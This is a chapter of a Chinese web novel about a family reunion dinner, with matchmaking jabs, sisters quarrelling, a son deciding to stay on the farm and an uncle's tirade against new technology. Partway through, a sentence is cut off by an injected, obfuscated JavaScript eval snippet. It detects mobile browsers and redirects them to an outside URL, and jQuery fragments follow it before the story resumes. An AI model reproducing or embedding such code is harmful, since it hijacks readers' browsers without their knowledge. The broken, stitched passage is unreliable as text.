众人在客厅的圆形软椅子坐下，围绕着回乡旅途怎么样的话题，寒暄了小半个小时，守在门廊的大狗兀地汪汪汪地叫起来。


    林奇往窗外觑了一眼，只见一对上了年纪的夫妇和跟着他们身后的三个少女正从村道上往这里来，一阵风吹过，将少女们的宽大的女士帽吹歪了些，她们纷纷伸手拨弄帽子。


    林奇高兴地说：“坎普尔表叔他们来了，我现在去给他们开门。”


    说完，他热情地到玄关去了。


    威廉搓了一下手掌，对斯诺笑着：“这下可好了，时隔这么久，我们这三家人总算能够好好地叙叙旧。来吧，我们去餐桌坐着，等林奇领他们进来就行。”


    接着威廉用大嗓门冲厨房喊了一嗓子：“苏珊娜，现在可以把热好的汤先盛出来了，坎普尔他们到了。”


    “听见了，别催，已经在准备了，真是啰嗦。”在厨房忙碌的苏珊娜似乎模糊地回应，但声音没能传太远，被油在锅里加热的吱吱声掩盖了过去。


    伊洛里对坎普尔一家的记忆不深，在他印象中，那个经营着村里唯一一家成衣店的表叔总留着两撇八字胡，下巴刮得干干净净，不管什么时候都系着不同花色的领巾，在生意做得最好的那些年，他的衣着是整条村子里最时髦气派的，而他的妻子芭芭拉则是一位爱挑剔的夫人，衣领上的蕾丝花纹繁复得令人咋舌，至于他们的女儿——早在他们第一个女儿出世前，他已经跟随爸妈搬到纽波加城，所以一直只听过名字，不知道知道长相。


    听见杂乱的脚步声逐渐接近餐厅，伊洛里抬眼望过去。


    此时，出现在餐厅外的坎普尔夫妇显然跟伊洛里记忆中的形象相差不大。


    年近五旬的坎普尔·罗伯特已经谢顶，八字胡全部变成白色，右手拄着一根带纹饰的拐杖，他不是行动不便，只是单纯用它来支撑自己的身体和体现品位。


    芭芭拉·罗伯特（随夫姓）则仍旧尖嘴凸唇、挑着一双吊梢眼看人，身上的衣服倒是没有以往那么华美，转为更朴素一些的衣料。


    而跟随他们走进来的三位姑娘——大女儿碧翠丝显然是一位漂亮的姑娘，她身材丰满，皮肤白皙，身穿一袭色彩艳丽的低领裙，袖子是时兴的宝塔型袖子，只是一双美目不停转动，给人一种不安分的轻浮感；二女儿雪丽穿得比较素净，只佩戴了一个头饰，表情冷冷的，跟自己的母亲一样眼高于顶；三女儿玛姬则打扮得花枝招展，能看得出来是在学大姐的穿搭风格，只可惜她五官太普通，继承了父母最不好看的特点，宽眼距、尖嘴，下巴还生了痘痘，这种艳丽的妆容反而放大了她的外貌缺点。


    坎普尔看到斯诺的时候吃了一惊，说：“哦，二表哥，你可变化得真大，怎么只是几年没见就老了这么多。”


    “你倒是还跟十年前一模一样，一点也没变。来吧，坎普尔，跟我抱一抱吧，这么久没见你还有一点想念咧。”斯诺友好地抱住了自己的表弟。


    然后，他看向那三个姑娘，说：“这就是你的女儿们吗，她们都出落得这么漂亮了呀。”


    坎普尔看向自己的女儿们，介绍道：“这是你们的斯诺表伯，艾莎表婶，以及他的儿子伊洛里·亨特。”


    三位姑娘都掀起裙摆一角，依次向斯诺一家行礼。


    斯诺拍了拍自己儿子的肩膀，说：“伊洛里，你还记得你的坎普尔表叔和芭芭拉表姨吗？”


    “当然，爸爸。”伊洛里躬身致意，“表叔，表姨，还有三位表妹，你们好吗。”


    坎普尔扯出一个微小的笑，跟他握了握手，“伊洛里啊，真是好久不见了呢，得有二十多年了吧，还记得你以前就只有那么小一个，没想到一转眼都这么大了。”


    他做出一个比身高的手势，惹得后面的大女儿发出一声笑。


    “碧翠丝，你在笑什么？”


    “喔，没什么爸爸。”


    坎普尔有点不明所以地看了她一眼，但没有多说。他知道自己这个女儿空有美貌，但言谈可算不得智慧，如果让她不管不顾地讲话，难免会闹出笑话。


    这时苏珊娜刚好也捧出一锅蘑菇奶油汤，热络道：“快坐下尝尝我的手艺，我尝试往奶油里面加了些豆蔻和切碎的罗勒叶，味道好极了。”


    “豆蔻？我可不要吃豆蔻，那刺激的气味对我的咳嗽不好。”芭芭拉挑剔地说。


    “哦得了，芭芭拉，你总爱拿咳嗽开脱，它都冤枉死了，挑食就挑食，直接说不喜欢吃，又不会有谁因此看低你。”


    做那么多年妯娌了，苏珊娜对芭芭拉的刀子嘴性格谙熟于心，不会把她说的话放在心上，还时常直接点破她的心思。


    芭芭拉脸一白，但没有再说话。


    众人围着餐桌坐定，威廉坐在主位，林奇和伊洛里一家坐在左侧，坎普尔一家则在右侧。


    艾莎帮着苏珊娜把菜肴端到餐桌上，大块大块的面包、加了百里香的咸土豆泥、烤肉等等的菜肴很快就摆满了桌子，都是一些家常的美味。


    苏珊娜热情地招呼起众人：“大家开动吧，今天晚上我希望你们每个人都能敞开肚皮吃，这些都是我花了一整天的成果，快尝尝味道怎么样。”


    蘑菇汤的味道比伊洛里预期的还要美味，他一边喝一边用面包蘸上一点配着吃。


    坎普尔：“二表哥，你们什么时候回村子的，刚才我在进门的时候听林奇告诉我你们回村了，我还不敢相信呢。”


    “就是昨天，我们花了好几天在路上。”


    “我可真没想到会见到你们，你们不是在城里生活得很好嘛，怎么心血来潮回来了？”


    面对这有点刁钻的问话，斯诺笑着轻松地带过了话题，“我们的根就从来没有离开过赛里村，这次回来也是因为城里的空气让我们感到疲倦了，回来休息一段时间。”


    威廉插了一句话：“俗话说，东好西好，还是自己的家好。”


    坎普尔是那种喜欢在饭桌上高谈阔论的人物，总是不遗余力地想要主导谈话。


    他清咳一声，说：“那么、伊洛里，之前你爸爸写信回来，说你已经当上了查纽卡大学的教授？怎么样，既然工作安定下来了，总还是要娶一位贤惠的女孩的当妻子来管理家务。”


    伊洛里温和地回答这个很冒犯的问题：“您说得对，只是我暂时没有考虑过婚姻的事。”


    “你应该考虑，”坎普尔以一种指点晚辈的口吻说，“单身汉可不是一个适合教授的头衔。”


    “像我的女孩们，她们从小时候开始就接受昂贵的新娘课程，懂得插花、烹饪和缝纫，都以成为一位出色的妻子为目标努力着。我敢说，整个赛里村，没有一个小伙子不想要娶她们任何一人为妻。”


    伊洛里：“表妹们很优秀。”


    坎普尔卡了一下，觉得自己说的话都像是撞到了棉花上，伊洛里的回答让他想要推销自己女儿的话都堵在喉咙。


    碧翠丝：“伊洛里表哥，你当过兵吗？”


    “不，我很遗憾没有能得到这个殊荣。为什么这么问？”


    碧翠丝的美目讪讪地敛了下来，“那是我看错了，我还以为你袖口上的纹饰是军团的标志。”


    伊洛里顺着碧翠丝的目光往下，接触到狄法送给他的大衣，离开家的时候太匆忙，随手就从衣柜拿了一件外套，没曾想正好是狄法送的，用最好用料，看起来有些厚重，这个特点跟结实耐穿的军服有异曲同工之妙。


    芭芭拉制止大女儿：“碧翠丝，别再谈论那些鲁莽的年轻人了，想到他们，我的咳嗽可一辈子都好不了。”


    “妈妈，你不该这么贬低克里夫上尉他们，他们多英俊潇洒啊。”


    “还很会说花言巧语呢。”一旁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073344|149387||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的二女儿雪丽泼冷水。


    碧翠丝有点恼：“你就是嫉妒他们喜欢我多过喜欢你。”


    “只有你和玛姬才会在乎能不能得到那些无知士兵的喜爱。”


    “嘿！说我干什么，你以为你很了不起吗？”玛姬叫嚷起来。她像只发怒的母猫。


    芭芭拉呵斥道：“女孩们，你们还不快停下吗！”


    三人一下子就没了声响，餐桌上已经是一片安静，大家都看着她们。


    芭芭拉端着有点尴尬的笑容解释道：“她们实在是性格太活泼了，在谈论到一些有趣的话题的时候就会格外积极。”


    她用手肘撞了一下旁边的坎普尔。


    坎普尔咳嗽了一声，说：“确实、是这样的。”


    说实话，伊洛里很少跟女性打交道，所以也不是很清楚现在该露出一个什么表情，做出一个什么反应比较好。


    在这个尴尬的时候，林奇猛地站起身，“大家，我想宣布一件事——”


    “其实我这次回来是因为一件事，咳，”当着所有人的面，林奇磕巴了一下，道：“我已经决定要以后都留在村子里，照看农场。”


    所有人，包括威廉都很意外：“什么意思，以后不再去跑船了？”


    “不去了。农场要做的体力活很多，妈妈告诉我你上个月还为了搬牛奶桶而再一次扭伤了腰，我想我已经是时候要承担起支撑照看农场的责任，不能再在风浪里冒险。”


    林奇看着威廉，说：“爸爸，我会努力帮上你的忙，不过当然，因为我一直学习的都是海上的东西，对于陆地上的事情我是一窍不通，但是我保证我会学得很快的。你觉得怎么样？”


    听到这么暖心的话，威廉忍不住也被感动到，张开手说：“什么觉得怎么样，当然是再好不过了。过来，小子，我们爷俩来抱一下！”


    林奇皱起脸：“不要，爸，我们就不要这么肉麻了。”


    “臭小子。”威廉爽朗地大笑起来。


    有林奇这个打岔，餐桌的氛围重归正常，只是一时间没有人讲话，三姐妹都闷闷不乐地用餐。


    威廉切着肉饼，试着用农场今年的收成来挽回冷场，说：“今年好多农场的玉米田伏倒一大片，都不知道害了什么病，我认识的就有好几个种玉米的人赔得血本无归，可怜他们还花了一大笔钱买了能帮忙播种的机器，都不知道他们该怎么度过接下来寒冷的冬天。”


    “机器！”坎普尔怪叫一声，“肯定是那些机器污染了种子，我就知道，它们从来不给人类带来什么好事，教会都把它们叫作‘没有心的恶魔’。”


    谈到科技，坎普尔简直满腹牢骚：“那些所谓先进的科技只会带来不幸，表侄你知道吗，那些人居然还宣称搞出了劳什子的缝纫机，说是什么一摇摇杆，机器上的缝针就能够自动缝补衣裳，简直是胡说八道，要是真有那么厉害的机器，所有人都能够在家里给自己做一套礼服，还要成衣店做什么，可是我们都知道淘汰成衣店这种事是不可能发生的！”


    “还有电话，我邻居那个天大的笨蛋居然安装了电话，蠢驴！要我说，国王陛下现在对科技这么推崇，只是想要打压教会和顽固的地主们，而根本没有考虑像我们这种普通人的生计。”


    “表侄，你读的书那么多，你肯定知道我说的是对的吧。”坎普尔盯着伊洛里，想要得到学问家的支持。


    伊洛里一时间没说话，他并不认同表叔没有根据的谬论。


    他斟酌地说：“其实，我认为科技也不是一无是处，至少打电话确实比写魔法信件更快速地将信息通知到外界。”


    坎普尔并不以为然，咕哝道：“表侄你或许读过很多书，但是在这些事情上你显然没有我更了解。”


    他还是坚持自己的说法。


    伊洛里只是微笑了一下，就没再说话了。